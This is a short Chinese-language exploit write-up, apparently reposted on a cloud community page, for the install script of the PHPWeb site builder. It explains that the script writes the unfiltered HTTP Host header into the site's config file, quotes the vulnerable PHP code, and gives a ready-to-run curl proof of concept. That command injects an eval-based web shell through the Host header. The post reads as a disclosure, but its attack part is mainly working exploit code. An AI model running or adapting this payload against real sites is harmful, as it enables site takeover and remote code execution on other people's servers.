phpweb成品網站最新版(注入、上傳、寫shell)

來源:互聯網
上載者:User

標籤:style   blog   class   code   java   c   

注入:
之所以雞肋就是該漏洞利用安裝檔案 重建 設定檔 寫入可執行代碼

雞肋1: 具有破壞性 動作非常大 重新寫了設定檔 資料庫連接檔案
雞肋2: 有一定安全常識的站長都會刪掉 install 目錄

雖然雞肋 但也有優點 : 不受 magic_quotes_gpc 、 webserver 影響

分析:

$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未過濾 $filestr = fread(fopen($SysConfigFile, ‘r‘),30000);$filestr=str_replace(" ","",$filestr);$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);$filestr=str_replace("DefaultDbName",$dbname,$filestr);$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);$filestr=str_replace("DefaultsLan","zh_cn",$filestr);$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr); fwrite(fopen($ConFile,"w"),$filestr,30000);

$_SERVER["HTTP_HOST"] 就是 http head 中HOST傳遞過來的 可控制,並且不受 magic_quotes_gpc 影響 ^ _ ^

poc

curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"

 

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.